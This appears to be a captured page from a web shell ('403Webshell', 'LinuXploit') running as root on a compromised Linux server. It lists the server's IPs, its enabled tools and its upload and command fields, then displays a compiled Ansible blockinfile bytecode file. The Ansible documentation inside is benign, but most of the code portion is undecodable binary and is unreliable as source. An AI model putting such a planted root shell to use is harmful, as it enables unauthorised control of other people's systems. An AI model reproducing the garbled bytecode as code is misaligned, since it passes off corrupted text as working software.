403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.74
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/ansible/modules/__pycache__/blockinfile.cpython-312.pyc
�

1<�e�<���ddlmZmZmZeZdZdZddlZddl	Z	ddl
Z
ddlmZddl
mZddlmZmZd�Zd	�Zd
�Zedk(re�yy)�)�absolute_import�division�print_functiona�
---
module: blockinfile
short_description: Insert/update/remove a text block surrounded by marker lines
version_added: '2.0'
description:
- This module will insert/update/remove a block of multi-line text surrounded by customizable marker lines.
author:
- Yaegashi Takeshi (@yaegashi)
options:
  path:
    description:
    - The file to modify.
    - Before Ansible 2.3 this option was only usable as O(dest), O(destfile) and O(name).
    type: path
    required: yes
    aliases: [ dest, destfile, name ]
  state:
    description:
    - Whether the block should be there or not.
    type: str
    choices: [ absent, present ]
    default: present
  marker:
    description:
    - The marker line template.
    - C({mark}) will be replaced with the values in O(marker_begin) (default="BEGIN") and O(marker_end) (default="END").
    - Using a custom marker without the C({mark}) variable may result in the block being repeatedly inserted on subsequent playbook runs.
    - Multi-line markers are not supported and will result in the block being repeatedly inserted on subsequent playbook runs.
    - A newline is automatically appended by the module to O(marker_begin) and O(marker_end).
    type: str
    default: '# {mark} ANSIBLE MANAGED BLOCK'
  block:
    description:
    - The text to insert inside the marker lines.
    - If it is missing or an empty string, the block will be removed as if O(state) were specified to V(absent).
    type: str
    default: ''
    aliases: [ content ]
  insertafter:
    description:
    - If specified and no begin/ending O(marker) lines are found, the block will be inserted after the last match of specified regular expression.
    - A special value is available; V(EOF) for inserting the block at the end of the file.
    - If specified regular expression has no matches, V(EOF) will be used instead.
    - The presence of the multiline flag (?m) in the regular expression controls whether the match is done line by line or with multiple lines.
      This behaviour was added in ansible-core 2.14.
    type: str
    choices: [ EOF, '*regex*' ]
    default: EOF
  insertbefore:
    description:
    - If specified and no begin/ending O(marker) lines are found, the block will be inserted before the last match of specified regular expression.
    - A special value is available; V(BOF) for inserting the block at the beginning of the file.
    - If specified regular expression has no matches, the block will be inserted at the end of the file.
    - The presence of the multiline flag (?m) in the regular expression controls whether the match is done line by line or with multiple lines.
      This behaviour was added in ansible-core 2.14.
    type: str
    choices: [ BOF, '*regex*' ]
  create:
    description:
    - Create a new file if it does not exist.
    type: bool
    default: no
  backup:
    description:
    - Create a backup file including the timestamp information so you can
      get the original file back if you somehow clobbered it incorrectly.
    type: bool
    default: no
  marker_begin:
    description:
    - This will be inserted at C({mark}) in the opening ansible block O(marker).
    type: str
    default: BEGIN
    version_added: '2.5'
  marker_end:
    required: false
    description:
    - This will be inserted at C({mark}) in the closing ansible block O(marker).
    type: str
    default: END
    version_added: '2.5'
  append_newline:
    required: false
    description:
    - Append a blank line to the inserted block, if this does not appear at the end of the file.
    - Note that this attribute is not considered when C(state) is set to C(absent)
    type: bool
    default: no
    version_added: '2.16'
  prepend_newline:
    required: false
    description:
    - Prepend a blank line to the inserted block, if this does not appear at the beginning of the file.
    - Note that this attribute is not considered when C(state) is set to C(absent)
    type: bool
    default: no
    version_added: '2.16'
notes:
  - When using 'with_*' loops be aware that if you do not set a unique mark the block will be overwritten on each iteration.
  - As of Ansible 2.3, the O(dest) option has been changed to O(path) as default, but O(dest) still works as well.
  - Option O(ignore:follow) has been removed in Ansible 2.5, because this module modifies the contents of the file
    so O(ignore:follow=no) does not make sense.
  - When more then one block should be handled in one file you must change the O(marker) per task.
extends_documentation_fragment:
    - action_common_attributes
    - action_common_attributes.files
    - files
    - validate
attributes:
    check_mode:
        support: full
    diff_mode:
        support: full
    safe_file_operations:
      support: full
    platform:
      support: full
      platforms: posix
    vault:
      support: none
a6
# Before Ansible 2.3, option 'dest' or 'name' was used instead of 'path'
- name: Insert/Update "Match User" configuration block in /etc/ssh/sshd_config prepending and appending a new line
  ansible.builtin.blockinfile:
    path: /etc/ssh/sshd_config
    append_newline: true
    prepend_newline: true
    block: |
      Match User ansible-agent
      PasswordAuthentication no

- name: Insert/Update eth0 configuration stanza in /etc/network/interfaces
        (it might be better to copy files into /etc/network/interfaces.d/)
  ansible.builtin.blockinfile:
    path: /etc/network/interfaces
    block: |
      iface eth0 inet static
          address 192.0.2.23
          netmask 255.255.255.0

- name: Insert/Update configuration using a local file and validate it
  ansible.builtin.blockinfile:
    block: "{{ lookup('ansible.builtin.file', './local/sshd_config') }}"
    path: /etc/ssh/sshd_config
    backup: yes
    validate: /usr/sbin/sshd -T -f %s

- name: Insert/Update HTML surrounded by custom markers after <body> line
  ansible.builtin.blockinfile:
    path: /var/www/html/index.html
    marker: "<!-- {mark} ANSIBLE MANAGED BLOCK -->"
    insertafter: "<body>"
    block: |
      <h1>Welcome to {{ ansible_hostname }}</h1>
      <p>Last updated on {{ ansible_date_time.iso8601 }}</p>

- name: Remove HTML as well as surrounding markers
  ansible.builtin.blockinfile:
    path: /var/www/html/index.html
    marker: "<!-- {mark} ANSIBLE MANAGED BLOCK -->"
    block: ""

- name: Add mappings to /etc/hosts
  ansible.builtin.blockinfile:
    path: /etc/hosts
    block: |
      {{ item.ip }} {{ item.name }}
    marker: "# {mark} ANSIBLE MANAGED BLOCK {{ item.name }}"
  loop:
    - { name: host1, ip: 10.10.1.10 }
    - { name: host2, ip: 10.10.1.11 }
    - { name: host3, ip: 10.10.1.12 }

- name: Search with a multiline search flags regex and if found insert after
  blockinfile:
    path: listener.ora
    block: "{{ listener_line | indent(width=8, first=True) }}"
    insertafter: '(?m)SID_LIST_LISTENER_DG =\n.*\(SID_LIST ='
    marker: "    <!-- {mark} ANSIBLE MANAGED BLOCK -->"

N)�b)�
AnsibleModule)�to_bytes�	to_nativec���tj|j��\}}tj|d�}|j|�|j
�|jjdd�}|}|rSd|vr|jd|z��|j||z�\}}	}
|dk(}|dk7r|jd|�d	|
����|r"|j|||jd
��yy)N)�dir�wb�validatez%szvalidate must contain %%s: %s��msgrzfailed to validate: rc:z error:�
unsafe_writes)r)�tempfile�mkstemp�tmpdir�os�fdopen�write�close�params�get�	fail_json�run_command�atomic_move)�module�contents�path�tmpfd�tmpfile�fr
�valid�rc�out�errs           �=/usr/lib/python3/dist-packages/ansible/modules/blockinfile.py�
write_changesr(�s����%�%�&�-�-�8�N�E�7�
�	�	�%���A��G�G�H���G�G�I��}�}� � ��T�2�H��L�E���x�����!@�H�!M��N��+�+�H�w�,>�?���S�#��a���
��7����57��">��
?�����7�D��
�
�o�8V��W�
�c��|j|j�}|j|d|��r|r|dz
}d}|dz
}||fS)NF)�diffz and Tz,ownership, perms or SE linux context changed)�load_file_common_argumentsr� set_file_attributes_if_different)r�changed�messager+�	file_argss     r'�check_file_attrsr1�sS���1�1�&�-�-�@�I�
�.�.�y�%�d�.�K���w��G����A�A���G��r)c��tttddgd���tddddg��tdd	�
�tdddg�
�td��td��tdd�
�tdd�
�td��tdd�
�tdd�
�tdd�
�tdd�
���
ddggdd��}|j}|d}tjj|�r|j
dd|z��tjj|�}|s�|j|d�s|j
dd|z��tjj|�}tjj|�s"|js	tj|�d}g}n6t#|d"�5}|j%�}ddd�j'd�}ddd#|zd#|zd$�}	|j(r|r||	d%<|d}
|d}t+|d&�}t+|d'�}
|d(dk(}t-tj.�g}|s|s|j1dd)|z�*�|
�|�d+}|d,vr!t3j4t+|d-�.��}n'|
d/vr!t3j4t+|
d-�.��}nd}t3j6t-d0�t-|d1�|
�t-tj.�z}t3j6t-d0�t-|d2�|
�t-tj.�z}|r`|r^|j9t-tj.��s|t-tj.�z
}|g|j'd�z|gz}ng}dx}}t;|�D]\}}||k(r|}||k(s�|}�d||fvr�d}|��|j<t2j>zrm|jA|�}|r�|r+t!|�jCd3d4|jE��}nT|
rRt!|�jCd3d4|jG��}n't;|�D]\}}|jA|�s�|}�|�tI|�}n1|�/|d5z
}n)|
�d4}n$tI|�}n||kr	g|||d5zn
g|||d5z|}|d4kDrU||d5z
j9t-tj.��s'||d5z
xxt-tj.�z
cc<|d6r3|r1|d4k7r,||d5z
t-tj.�k7r
|||||d5z
}|||||d7rB|r@|tI|�z}|tI|�kr$||t-tj.�k7r|||||rd8jK|�}nd8}|j(r||	d9<||k(rd}d}n|�d:}d}n|sd;}d}nd<}d}d}|rb|jsV|j|d=�r|r|jM|�}tjjO|d�}tQ|||�|jr|s|j1|||	�>�i}tS||||�\}}d?|z|d@<d?|z|dA<|	|g} |�|j1||| �>�y|j1||| |�B�y#t$r:}|j
d|�d|j�d|j��� �Yd}~��Zd}~wt$r,}|j
d|�d!t!|���� �Yd}~���d}~wwxYw#1swY��uxYw)CNrT)�dest�destfile�name)�type�required�aliases�str�present�absent)r6�default�choicesz# {mark} ANSIBLE MANAGED BLOCK)r6r<��content)r6r<r8)r6�boolF�BEGIN�END)
r�state�marker�block�insertafter�insertbefore�create�backupr
�marker_begin�
marker_end�append_newline�prepend_newlinerGrF)�
argument_spec�mutually_exclusive�add_file_common_args�supports_check_mode�zPath %s is a directory !)r$rrHizPath %s does not exist !zError creating z
 Error code: z Error description: rz Error: �rbz%s (content))�before�after�
before_header�after_headerrTrErDrCzFile %s not present)r.r�EOF)NrX�surrogate_or_strict)�errors)N�BOFz{mark}rJrK�
r�rMrLr)rUzFile createdz
Block removedzBlock insertedrI)r.rr+z%s (file attributes)rVrW)r.rr+�backup_file)*r�dictrrr�isdirr�exists�boolean�dirname�
check_mode�makedirs�OSError�errno�strerror�	Exceptionr	�open�read�
splitlines�_diffrr�linesep�	exit_json�re�compile�sub�endswith�	enumerate�flags�	MULTILINE�search�count�end�start�len�join�backup_local�realpathr(r1)!rrr�path_exists�destpath�e�original�linesr"r+rGrFrErDr:�
blank_line�insertre�marker0�marker1�
blocklines�n0�n1�i�line�match�line_after_block�resultrr.r^�	real_path�	attr_diff�difflists!                                 r'�mainr��s"��
���6�D�:V�W��E�9�x��>S�T��U�,L�M��E�2�	�{�C��%�(��5�)��V�U�3��V�U�3��u�%��5�'�:����6��V�U�;� �f�e�<�
�,�]�;�<�!� �%�F�(�]�]�F��&�>�D�	�w�w�}�}�T�����C�7�$�>�	�	@��'�'�.�.��&�K���~�~�f�X�.�/�����!;�d�!B�
�
D��7�7�?�?�4�(���w�w�~�~�h�'��0A�0A�
_����H�%�
����
�$��
�	 ���v�v�x�H�	 ��#�#�D�)����+�d�2�*�T�1�3�D�
�|�|��!��X���.�)�L���'�K��V�G�_�%�E�
�f�X�&�
'�F��W�o��*�G��B�J�J�-��J��;�����,A�D�,H��I���� 3����-�'��:�:�h�{�;P�Q�R��	�]�	*��:�:�h�|�<Q�R�S�����f�f�Q�y�\�1�V�N�%;�#<�f�E��"�*�*�
�U�G��f�f�Q�y�\�1�V�L�%9�#:�F�C�a��
�
�m�S�G��5��~�~�a��
�
�m�,��Q�r�z�z�]�"�E��Y��!1�!1�$�!7�7�7�)�C�
��
��N�B���U�#����4��7�?��B��7�?��B�	���B�x��
�����~�~����,� ����1���"�&�x�0�6�6�t�Q��	�	��L��%�&�x�0�6�6�t�Q����
�N��(��/��G�A�t����t�,�����z���Z���(��a���
�
%��B��U��B�	�b����b��a�����b��a���
��
�A�v��R�!�V�}�%�%�a��
�
�m�4��"�q�&�M�Q�r�z�z�]�*�M��� �W�
��7�u�R�!�V�}��"�*�*�
�5�%�E�"�R�L��!�G�B��E�"�R�L�
���G���J��/���c�%�j�(�U�3C�-D��"�*�*�
�-U�7A�E�"�#3�4�����%�����
�|�|���W�
��6������	�	�����
����������K��v�(�(��>�>�&��*�+�� �-�-�d�3�K��G�G�$�$�V�F�^�4�	��f�f�i�0�
��������c���=��I�#�F�G�S�)�D�L�C��!7�$�!>�I�o�� 6�� =�I�n���i� �H�������c���A�����c��k��Z��o�
A�� � �ai�kl�kr�kr�tu�t~�t~�%� �A�A���
_�� � �h�PY�Z[�P\�%]� �^�^��
_��
	 �	 �s0�[
�?]�
	]�/\�]�!\;�;]�]
�__main__)�
__future__rrrr6�
__metaclass__�
DOCUMENTATION�EXAMPLESrprr�ansible.module_utils.sixr�ansible.module_utils.basicr�+ansible.module_utils.common.text.convertersrr	r(r1r��__name__�r)r'�<module>r�s_��A�@��
�y�
�v<��|
�	��&�4�K�X�*
�|[�~�z���F�r)

Youez - 2016 - github.com/yon3zu
LinuXploit